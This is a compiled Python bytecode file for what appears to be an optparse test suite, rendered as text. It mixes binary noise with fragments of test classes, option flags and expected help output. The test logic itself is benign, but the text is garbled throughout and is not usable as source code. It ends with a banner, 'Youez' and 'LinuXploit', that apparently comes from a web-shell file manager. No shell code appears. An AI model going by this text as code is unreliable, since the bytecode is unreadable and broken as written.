Cs\ttdd�|_tjdd�}z*tjjtjdd�tjd<|j	dgd�Wd|tjdd�<XdS)Nz	%prog 0.1)rFr�rNrOrz	--versionzbar 0.1
)
rr	r#r;r�r�r�r��curdirr@)rr�rrr�test_version�s
zTestVersion.test_versioncCsttd�|_|jdgd�dS)N)rFz	--versionzno such option: --version)rr	r#r:)rrrr�test_no_version�szTestVersion.test_no_versionN)rrrr=r>rrrrr;�s
r;c@s(eZdZdZdd�Zdd�Zdd�ZdS)	�TestConflictingDefaultsz4Conflicting default values: the last one should win.cCsttddddd�gd�|_dS)Nz-vrqrrr_)rQrsr�)r�)rrr#)rrrrrG�szTestConflictingDefaults.setUpcCs*|jjddddd�|jgddig�dS)Nz-qrtrrr)rQrsr�)r#rur*)rrrr�test_conflict_default�sz-TestConflictingDefaults.test_conflict_defaultcCs*|jjddddd�|jgddig�dS)Nz-qrtrr)rQrsr�)r#rur*)rrrr�test_conflict_default_none�sz2TestConflictingDefaults.test_conflict_default_noneN)rrrr�rGr@rArrrrr?�sr?c@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�TestOptionGroupcCsttd�|_dS)N)rF)rr	r#)rrrrrG�szTestOptionGroup.setUpcCs@t|jd�}|jj|�|jdddd�|jdgddig�dS)N�Spamz--spamrqzspam spam spam spam)rQr�Zspamr_)rr#�add_option_grouprur*)r�grouprrr�!test_option_group_create_instance�s
z1TestOptionGroup.test_option_group_create_instancecCs|j|jjdd�dS)Nz!not an OptionGroup instance: None)rBr#rD)rrrr�test_add_group_no_group�s
z'TestOptionGroup.test_add_group_no_groupcCs|j|jjddd�dS)Nzinvalid arguments)rBr#rD)rrrr� test_add_group_invalid_arguments�s
z0TestOptionGroup.test_add_group_invalid_argumentscCs0t|jd�}t�|_|j|jj|fdtd�dS)NrCz"invalid OptionGroup (wrong parser))rr#rr6rDr�)rrErrr�test_add_group_wrong_parser�sz+TestOptionGroup.test_add_group_wrong_parsercCs@|jjddd�}|jd�|jddd�|j|jjd�|�dS)NzGroup 2zSome more options)�descriptionZBaconz--baconrV)r>)r#rDZ	set_titlerur.Zget_option_group)rrErrr�test_group_manipulate�s

z%TestOptionGroup.test_group_manipulateN)	rrrrGrFrGrHrIrKrrrrrB�srBc@sDeZdZdd�Zdd�ZGdd�de�Zdd�Zd	d
�Zdd�Z	d
S)�TestExtendAddTypescCs<tt|jd�|_|jjddddd�|jjddddd�dS)	N)rFr�z-ar�r�)r>rsz-fz--filer�)rr	�MyOptionr#ru)rrrrrG�szTestExtendAddTypes.setUpcCs:tjjtj�rtjtj�ntjjtj�r6tjtj�dS)N)r�r��isdirr�TESTFN�rmdir�isfile�unlink)rrrr�tearDownszTestExtendAddTypes.tearDownc@s2eZdZdd�ZejdZejej�Zeed<dS)zTestExtendAddTypes.MyOptioncCs6tjj|�std|��ntjj|�s2td|��|S)Nz%s: file does not existz%s: not a regular file)r�r��existsr
rQ)r�r�r�rrr�
check_files
z&TestExtendAddTypes.MyOption.check_filer�N)r�)rrrrUrr�r�r�rrrrrMs
rMcCs.tjtj�|jdtjdgtjdd�g�dS)Nz--filez-afoorN)r�r�)rZcreate_empty_filerOr*)rrrr�test_filetype_oks
z#TestExtendAddTypes.test_filetype_okcCs|jdtjdgdtj�dS)Nz--filez-afooz%s: file does not exist)r:rrO)rrrr�test_filetype_noexistsz(TestExtendAddTypes.test_filetype_noexistcCs*tjtj�|jdtjdgdtj�dS)Nz--filez-afooz%s: not a regular file)r��mkdirrrOr:)rrrr�test_filetype_notfilesz(TestExtendAddTypes.test_filetype_notfileN)
rrrrGrSrrMrVrWrYrrrrrL�srLc@s4eZdZdd�ZGdd�de�Zdd�Zdd�Zd	S)
�TestExtendAddActionscCs&|jdddddd�g}t|d�|_dS)Nz-az--apple�extendr��apple)rQr>rs)r�)rMrr#)rr)rrrrG&s
zTestExtendAddActions.setUpc@s2eZdZejdZejdZejdZdd�ZdS)zTestExtendAddActions.MyOptionr[cCs@|dkr&|jd�}|j|g�j|�ntj|||||||�dS)Nr[�,)�split�ensure_valuer[r�take_action)rrQrsr�r�r�r#Zlvaluerrrr`0s

z)TestExtendAddActions.MyOption.take_actionN)r[)r[)r[)rrrrZACTIONSZ
STORE_ACTIONSZ
TYPED_ACTIONSr`rrrrrM+s


rMcCs |jddgddddgig�dS)Nz	-afoo,barz--apple=blahr\rNrOr�)r*)rrrr�test_extend_add_action8s
z+TestExtendAddActions.test_extend_add_actioncCs&|jddddgdddddgig�dS)	Nz-arNz-abarz--apple=x,yr\rOr�r�)r*)rrrr�test_extend_add_action_normal=sz2TestExtendAddActions.test_extend_add_action_normalN)rrrrGrrMrarbrrrrrZ%s
rZc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�TestCallbackc	Cs8tddd|jd�tddd|jddd�g}t|d	�|_dS)
Nz-xre)rQrez-fz--filer��filename)rQrer>rs)r�)r�process_optrr#)rr)rrrrGEs
zTestCallback.setUpcCs�|dkrd|j|jdg�|j|jg�|j||jk�|j|dk�|jt|j�ddi�d|j_n||dkr�|j|jdg�|j|jdg�|j||jk�|j|d�|jt|j�ddd��t|j|j	|�n|j
d|�dS)	Nz-xrdr�z--filez-frN)rdr�z!Unknown option %r in process_opt.)r&ryrzr.r#r%r�r��setattrrsr1)rr�r�r��parser_rrrreRs
zTestCallback.process_optcCs|jddgddd�g�dS)Nz-xz
--file=foorNr�)rdr�)r*)rrrr�
test_callbackfs
zTestCallback.test_callbackcCsBttd�}|jd�|jddddd�dd	d
�d}|j||�dS)N)rFz-hz-tz--testrecSsdS)Nrrrrr�<lambda>rsz1TestCallback.test_callback_help.<locals>.<lambda>r�rN)rQrer>r�z%Options:
  -t TEST, --test=TEST  foo
)rr	r�rurD)rr#rCrrr�test_callback_helpks


zTestCallback.test_callback_helpN)rrrrGrerhrjrrrrrcDs
rcc@s$eZdZdd�Zdd�Zdd�ZdS)�TestCallbackExtraArgsc
Cs0tddd|jdtfddgd�g}t|d�|_dS)	Nz-pz--pointrerr��points)rQrerhr>rsr�)r�)r�
process_tuplerVrr#)rr)rrrrG{s
zTestCallbackExtraArgs.setUpcCsp|j|d�|j|tk�|dkr0|j|d�n|dkrD|j|d�tt||jd���}t|j|j�j	|�dS)Nrz-pz1,2,3z--pointz4,5,6r])
r&r.rVrS�mapr^�getattrr�rsr�)rr�r�r�rg�lenr>rrrrm�sz#TestCallbackExtraArgs.process_tuplecCs |jdddgdddgig�dS)
Nz-p1,2,3z--pointz4,5,6rlr_rbrr4r��)r_rbr)r4r�rq)r*)rrrr�test_callback_extra_args�s
z.TestCallbackExtraArgs.test_callback_extra_argsN)rrrrGrmrrrrrrrkzsrkc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�TestCallbackMeddleArgscs*�fdd�tddd�D�}t|d��_dS)	Ncs"g|]}tt|�d�jdd��qS)re�things)rQrers)rr+�	process_n)�.0r�)rrr�
<listcomp>�sz0TestCallbackMeddleArgs.setUp.<locals>.<listcomp>r_rq)r�r�i����r�)�rangerr#)rr)r)rrrG�s
zTestCallbackMeddleArgs.setUpcCstt|dd��}|j}t|�|kr4|jd||f�|jj|jg�}|jt|d|���|j	j|�|d|�=dS)Nr_z$Expected %d arguments for %s option.r)
rV�rargsrpr1r�r_rsr�rSZlargs)rr�r�r�rgrcryrsrrrru�sz TestCallbackMeddleArgs.process_ncCs*|jddddddgdd
dgidd	g�dS)Nz-1rNz-3rOr��quxrtr_r)rN)rOr�rz)r*)rrrr�test_callback_meddle_args�s
z0TestCallbackMeddleArgs.test_callback_meddle_argscCs |jdddgddgidg�dS)Nz-2rN�--rtrb)rNr|)r*)rrrr�#test_callback_meddle_args_separator�sz:TestCallbackMeddleArgs.test_callback_meddle_args_separatorN)rrrrGrur{r}rrrrrs�srsc@s$eZdZdd�Zdd�Zdd�ZdS)�TestCallbackManyArgsc	Cs<tdddd|jdd�tdddd	|jd
d�g}t|d�|_dS)Nz-az--applererbr�)rQrcrer>z-bz--bobrrV)r�)r�process_manyrr#)rr)rrrrG�s



zTestCallbackManyArgs.setUpcCsZ|dkr|j|d�n@|dkr,|j|d�n*|dkrB|j|d�n|dkrV|j|d�dS)Nz-arNrOz--apple�ding�dongz-br_rbrz--bobi�r�r)rNrO)r�r�)r_rbr�f���)r�r�r)r&)rr�r�r�rgrrrr�sz!TestCallbackManyArgs.process_manycCs4|jddddddddd	d
ddd
dgddd�g�dS)Nz-arNrOz--appler�r�z-br'�2rz--bobz-666r��0)r\Zbob)r*)rrrr�test_many_args�s
z#TestCallbackManyArgs.test_many_argsN)rrrrGrr�rrrrr~�s
r~c@s$eZdZdd�Zdd�Zdd�ZdS)�TestCallbackCheckAbbrevcCs t�|_|jjdd|jd�dS)Nz	--foo-barre)rQre)rr#ru�check_abbrev)rrrrrG�s
zTestCallbackCheckAbbrev.setUpcCs|j|d�dS)Nz	--foo-bar)r&)rr�r�r�r#rrrr��sz$TestCallbackCheckAbbrev.check_abbrevcCs|jdgig�dS)Nz--foo)r*)rrrr�test_abbrev_callback_expansion�sz6TestCallbackCheckAbbrev.test_abbrev_callback_expansionN)rrrrGr�r�rrrrr��sr�c@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�TestCallbackVarArgsc	CsBtddddd�tdddd	�td
dd|jd
d�g}tt|d�|_dS)Nz-arVrbr�)r>rcrsz-brqrJ)rQrsz-cz
--callbackre�c)rQrers)rFr�)r�
variable_argsrr	r#)rr)rrrrG�szTestCallbackVarArgs.setUpcCs�|j|dk�g}|j}xh|r�|d}|dd�dkrBt|�dksj|dd�dkrnt|�dkrn|ddkrnPq|j|�|d=qWt|j|j|�dS)Nrrbz--r_r)r.ryrpr�rfr�rs)rr�r�r�r#ry�argrrrr��s(

z!TestCallbackVarArgs.variable_argscCs(|jdddddgd
dddgd�g�dS)Nz-a3z-5z
--callbackrNrOrr�)r�rJr�r�)rr�)r*)rrrr�test_variable_args�sz&TestCallbackVarArgs.test_variable_argscCs.|jddddddgdddddgd�dg�dS)	Nz-cZ37z--Zxxxz-b�helloT)r�rJr�)r*)rrrr�%test_consume_separator_stop_at_option�s
z9TestCallbackVarArgs.test_consume_separator_stop_at_optioncCs,|jdddddgdddddgd�dg�dS)Nr�z-crNrrO)r�rJr�)r*)rrrr�%test_positional_arg_and_variable_args�s
z9TestCallbackVarArgs.test_positional_arg_and_variable_argscCs"|jdddgdddgd�g�dS)Nz-crNz-bT)r�rJr�)r*)rrrr�test_stop_at_option�sz'TestCallbackVarArgs.test_stop_at_optioncCs|jddddgd�dS)Nz-crz-5z-azno such option: -5)r:)rrrr�test_stop_at_invalid_optionsz/TestCallbackVarArgs.test_stop_at_invalid_optionN)
rrrrGr�r�r�r�r�r�rrrrr��sr�c@seZdZdd�Zdd�ZdS)�ConflictBasecCs&tdddddd�g}tt|d�|_dS)Nz-vz	--verboserUrrzincrement verbosity)rQrsr�)rFr�)rrr	r#)rr)rrrrGszConflictBase.setUpcCsd|j_dS)Nr_)r��show_version)rr�r�r�r#rrrr�szConflictBase.show_versionN)rrrrGr�rrrrr�
sr�c@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�TestConflictz9Use the default conflict resolution for Optik 1.2: error.cCs<|j|d	d|jdd�td�}|j|jd�|j|jd�dS)
N�-v�	--versionrezshow version)rQrer�z5option -v/--version: conflicting option string(s): -vz conflicting option string(s): -vz-v/--version)r�r�)r6r�rr&rZ	option_id)rr2r5rrr�assertTrueconflict_errorsz%TestConflict.assertTrueconflict_errorcCs|j|jj�dS)N)r�r#ru)rrrr�test_conflict_error!sz TestConflict.test_conflict_errorcCst|jd�}|j|j�dS)NzGroup 1)rr#r�ru)rrErrr�test_conflict_error_group$sz&TestConflict.test_conflict_error_groupcCs|j|jjddtd�dS)NrNz'invalid conflict_resolution value 'foo')rN)r6r#�set_conflict_handlerr�)rrrr�test_no_such_conflict_handler(s
z*TestConflict.test_no_such_conflict_handlerN)rrrr�r�r�r�r�rrrrr�s
r�c@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�TestConflictResolvecCs2tj|�|jjd�|jjddd|jdd�dS)N�resolvez-vz	--versionrezshow version)rQrer�)r�rGr#r�rur�)rrrrrG/s
zTestConflictResolve.setUpcCs�|jjd�}|jjd�}|jjd�}|j||k�|j||k	�|j|jdg�|j|jdg�|j|jdg�|j|jg�|j|jdg�dS)Nz-vz	--verbosez	--version)r#rxr.r&rzry)rrZverbose_optZversion_optrrr�test_conflict_resolve5sz)TestConflictResolve.test_conflict_resolvecCs|jdgd�dS)Nz-hz}Options:
  --verbose      increment verbosity
  -h, --help     show this help message and exit
  -v, --version  show version
)r@)rrrr�test_conflict_resolve_helpBsz.TestConflictResolve.test_conflict_resolve_helpcCs|jdgddd�g�dS)Nz-vr_)rrr�)r*)rrrr�test_conflict_resolve_short_optJsz3TestConflictResolve.test_conflict_resolve_short_optcCs|jdgddig�dS)Nz	--verboserrr_)r*)rrrr�test_conflict_resolve_long_optOsz2TestConflictResolve.test_conflict_resolve_long_optcCs|jddgddd�g�dS)Nz	--verbosez	--versionr_)rrr�)r*)rrrr�test_conflict_resolve_long_optsTs
z3TestConflictResolve.test_conflict_resolve_long_optsN)	rrrrGr�r�r�r�r�rrrrr�.s
r�c@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�TestConflictOverridecCsJttd�|_|jjd�|jjdddddd�|jjddd	d
ddd�dS)
N)rFr�z-nz	--dry-runrq�dry_runzdon't do anything)rQrsr�rr�zdry run mode)rQr`rsr�)rr	r#r�ru)rrrrrGZs

zTestConflictOverride.setUpcCs0|jjd�}|j|jdg�|j|jdg�dS)Nz	--dry-runz-n)r#rxr&ryrz)rr�rrr�test_conflict_override_optsdsz0TestConflictOverride.test_conflict_override_optscCs|jdgd�dS)Nz-hzXOptions:
  -h, --help     show this help message and exit
  -n, --dry-run  dry run mode
)r@)rrrr�test_conflict_override_helpisz0TestConflictOverride.test_conflict_override_helpcCs|jdgddig�dS)Nz-nr�r�)r*)rrrr�test_conflict_override_argspsz0TestConflictOverride.test_conflict_override_argsN)rrrrGr�r�r�rrrrr�Ys
r�aSUsage: bar.py [options]

Options:
  -a APPLE           throw APPLEs at basket
  -b NUM, --boo=NUM  shout "boo!" NUM times (in order to frighten away all the
                     evil spirits that cause trouble and mayhem)
  --foo=FOO          store FOO in the foo list for later fooing
  -h, --help         show this help message and exit
aSUsage: bar.py [options]

Options:
  -a APPLE           throw APPLEs at basket
  --boo=NUM, -b NUM  shout "boo!" NUM times (in order to frighten away all the
                     evil spirits that cause trouble and mayhem)
  --foo=FOO          store FOO in the foo list for later fooing
  --help, -h         show this help message and exit
aWUsage
=====
  bar.py [options]

Options
=======
-a APPLE           throw APPLEs at basket
--boo=NUM, -b NUM  shout "boo!" NUM times (in order to frighten away all the
                   evil spirits that cause trouble and mayhem)
--foo=FOO          store FOO in the foo list for later fooing
--help, -h         show this help message and exit
a}Usage: bar.py [options]

Options:
  -a APPLE           throw APPLEs at basket
  -b NUM, --boo=NUM  shout "boo!" NUM times (in order to
                     frighten away all the evil spirits
                     that cause trouble and mayhem)
  --foo=FOO          store FOO in the foo list for later
                     fooing
  -h, --help         show this help message and exit
a~Usage: bar.py [options]

Options:
  -a APPLE
    throw
    APPLEs at
    basket
  -b NUM, --boo=NUM
    shout
    "boo!" NUM
    times (in
    order to
    frighten
    away all
    the evil
    spirits
    that cause
    trouble and
    mayhem)
  --foo=FOO
    store FOO
    in the foo
    list for
    later
    fooing
  -h, --help
    show this
    help
    message and
    exit
c@sdeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dS)�TestHelpcCs|jd�|_dS)N�P)�make_parserr#)rrrrrG�szTestHelp.setUpc
Cs`tdddddd�tddd	d
ddd�td
ddddd�g}tj��}t|�|d<t|d�SQRXdS)Nz-ar�r�ZAPPLEzthrow APPLEs at basket)r>rs�metavarr�z-bz--boorVr�ZNUMzeshout "boo!" NUM times (in order to frighten away all the evil spirits that cause trouble and mayhem)z--foor�rNz*store FOO in the foo list for later fooing)rQr>rsr��COLUMNS)r�)rr�EnvironmentVarGuardr+r)r�columnsr)�envrrrr��s



zTestHelp.make_parserc
CsJtjdd�}z&tjjdd�tjd<|jdg|�Wd|tjdd�<XdS)NrNzbar.pyrz-h)r;r�r�r�r�r@)rr9r�rrr�assertHelpEquals�s
zTestHelp.assertHelpEqualscCs|jt�dS)N)r��_expected_help_basic)rrrr�	test_help�szTestHelp.test_helpcCs|jjd�|jt�dS)NzUsage: %prog [options])r#Z	set_usager�r�)rrrr�test_help_old_usage�szTestHelp.test_help_old_usagecCsd|jj_|jt�dS)Nr)r#r�Zshort_firstr��_expected_help_long_opts_first)rrrr�test_help_long_opts_first�s
z"TestHelp.test_help_long_opts_firstc
Cs4tj��"}d|d<t�|j_|jt�WdQRXdS)NZ80r�)rr�rr#r�r��_expected_help_title_formatter)rr�rrr�test_help_title_formatter�s

z"TestHelp.test_help_title_formattercCs0|jd�|_|jt�|jd�|_|jt�dS)Nr�r)r�r#r��_expected_help_short_lines�_expected_very_help_short_lines)rrrr�test_wrap_columns�s
zTestHelp.test_wrap_columnscCs0ttd�|_|jjdddd�d}|j|�dS)N)rFz-arquolé!)rQr�uKOptions:
  -h, --help  show this help message and exit
  -a          olé!
)rr	r#rur�)r�expectrrr�test_help_unicodeszTestHelp.test_help_unicodecCs ttdd�|_d}|j|�dS)Nuolé!)rFrJu>olé!

Options:
  -h, --help  show this help message and exit
)rr	r#r�)rr�rrr�test_help_unicode_descriptions
z&TestHelp.test_help_unicode_descriptioncCs^|jjd�t|jdd�}|jdddd�|jj|�d}|j|�d	|j_|j|d
�dS)Nz`This is the program description for %prog.  %prog has an option group as well as single options.zDangerous OptionszZCaution: use of these options is at your own risk.  It is believed that some of them bite.z-grqz
Group option.)rQr�aTUsage: bar.py [options]

This is the program description for bar.py.  bar.py has an option group as
well as single options.

Options:
  -a APPLE           throw APPLEs at basket
  -b NUM, --boo=NUM  shout "boo!" NUM times (in order to frighten away all the
                     evil spirits that cause trouble and mayhem)
  --foo=FOO          store FOO in the foo list for later fooing
  -h, --help         show this help message and exit

  Dangerous Options:
    Caution: use of these options is at your own risk.  It is believed
    that some of them bite.

    -g               Group option.
z Please report bugs to /dev/null.z"
Please report bugs to /dev/null.
)r#Zset_descriptionrrurDr�Zepilog)rrEr�rrr�test_help_description_groupss
z%TestHelp.test_help_description_groupsN)rrrrGr�r�r�r�r�r�r�r�r�r�rrrrr��s		
r�c@seZdZdd�Zdd�ZdS)�TestMatchAbbrevcCs |jtdddddd��d�dS)Nz--f)z--fozz--fooz--fiez--f)r&r)rrrr�test_match_abbrevAsz!TestMatchAbbrev.test_match_abbrevcCs*d}dddd�}|jt||fdtd�dS)Nz--f)z--fozz--fooz--fiez,ambiguous option: --f (--fie, --foo, --foz?))r6rr)rr�Zwordmaprrr�test_match_abbrev_errorIs

z'TestMatchAbbrev.test_match_abbrev_errorN)rrrr�r�rrrrr�@sr�c@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�TestParseNumbercCs,t�|_|jjdtd�|jjdtd�dS)Nz-n)r>z-l)rr#rurV)rrrrrGRszTestParseNumber.setUpcCs<|jtdtfittjd��|jtdtfittjd��dS)Nrz!invalid literal for int().*: '?'?Z0xOoopsz*invalid literal for int().*: s?'?0xOoops'?)r6rrVr��re�compile)rrrr�test_parse_num_failWs

z#TestParseNumber.test_parse_num_failcCsp|jtdt�d�|jtdt�d�|jtdt�d�|jtdt�d�|jtd	t�d
�|jtdt�d�dS)Nr�rZ0x10�Z0XA�
Z010�Z0b11rZ0b)r&rrV)rrrr�test_parse_num_okasz!TestParseNumber.test_parse_num_okcCsf|jddddgddd�g�|jddd	gd
dd�g�|jdgd
�|jdgd�|jddgd�dS)Nz-nr�z-lZ0x20r�� )r��lZ0b0101z-l010r�r�z-n008z'option -n: invalid integer value: '008'z-l0b0123z*option -l: invalid integer value: '0b0123'Z0x12xz)option -l: invalid integer value: '0x12x')r*r:)rrrr�test_numeric_optionsis
z$TestParseNumber.test_numeric_optionsN)rrrrGr�r�r�rrrrr�Qs
r�c@seZdZdd�ZdS)�MiscTestCasecCsdddh}tj|t|d�dS)NZ
check_builtinZAmbiguousOptionErrorZ
NO_DEFAULT)�	blacklist)rZcheck__all__�optparse)rr�rrr�test__all__ws
zMiscTestCase.test__all__N)rrrr�rrrrr�vsr�cCstjt�dS)N)rZrun_unittestrrrrr�	test_main|sr��__main__iii�Q)Ir;r�r�r�Zunittest�iorr�rr�rrrrrr	r
rrr
rrrr>r�r-�	ExceptionrrZTestCaser"rErpr�r�r�r�r�r�r�r�r�rrrr$r2r;r?rBrLrZrcrkrsr~r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrr�<module>	sx4
O
3*N#:"+65
+'
!w%


Youez - 2016 - github.com/yon3zu
LinuXploit